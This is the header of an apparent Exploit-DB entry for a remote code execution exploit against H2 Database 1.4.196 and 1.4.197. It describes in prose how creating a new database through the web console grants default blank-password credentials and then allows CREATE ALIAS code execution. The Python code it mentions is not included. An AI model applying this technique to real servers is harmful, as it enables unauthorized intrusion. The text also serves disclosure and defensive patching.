# Exploit Title: H2 Database 1.4.196 - Remote Code Execution
# Google Dork: N/A
# Date: 2018-09-24
# Exploit Author: h4ckNinja
# Vendor Homepage: https://www.h2database.com/
# Software Link: http://www.h2database.com/h2-2018-03-18.zip
# Version: 1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE: N/A

# This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). 
# When the test database has a password that is unknown, it is still possible to get the execution 
# by creating a new database. The web console allows this by entering the name of the new database 
# in the connection string. When the new database is created, the default credentials of 
# username “sa” and password “” (blank) are created. The attacker is logged in automatically. 
# The attached Python code, modified from 44422, demonstrates this.
